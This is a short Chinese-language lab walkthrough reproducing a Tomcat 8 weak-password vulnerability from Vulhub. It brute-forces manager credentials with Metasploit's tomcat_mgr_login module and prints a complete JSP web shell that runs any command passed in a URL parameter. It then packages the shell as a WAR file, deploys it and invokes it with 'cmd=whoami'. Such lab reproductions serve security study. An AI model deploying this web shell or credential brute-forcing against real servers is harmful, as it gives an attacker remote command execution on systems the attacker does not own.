Tomcat8 远程执行漏洞复现

Tomcat8

复现Vulhub/tomcat/tomcat8的漏洞。

• 覆盖知识点
  弱密码+一句话木马
• 实验步骤
  在msfconsole中search tomcat，找到tomcat_mgr_login；
  

Set RHOST 192.168.153.136（你的IP）；run 爆破出口令

登录后台

上传jsp一句话木马

<%@page import="java.io.BufferedReader"%>
<%@page import="java.io.InputStream"%>
<%@page import="java.io.InputStreamReader"%>
<%@page import="java.lang.ProcessBuilder"%>
<%@page import="java.lang.Runtime"%>
  <%
    if ("password".equals(request.getParameter("pass"))){
      Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
//    System.out.println(process);
      InputStream inputStream = process.getInputStream();
      BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
      String line;
      while ((line = bufferedReader.readLine()) != null){
        response.getWriter().println(line);
      }
    }
  %>

通过命令zip shell.war shell.jsp将jsp木马打包成war包,打包后修改后缀为war即可；

上传之后访问192.168.153.136:8080/shell/shell?pass=password&cmd=whoami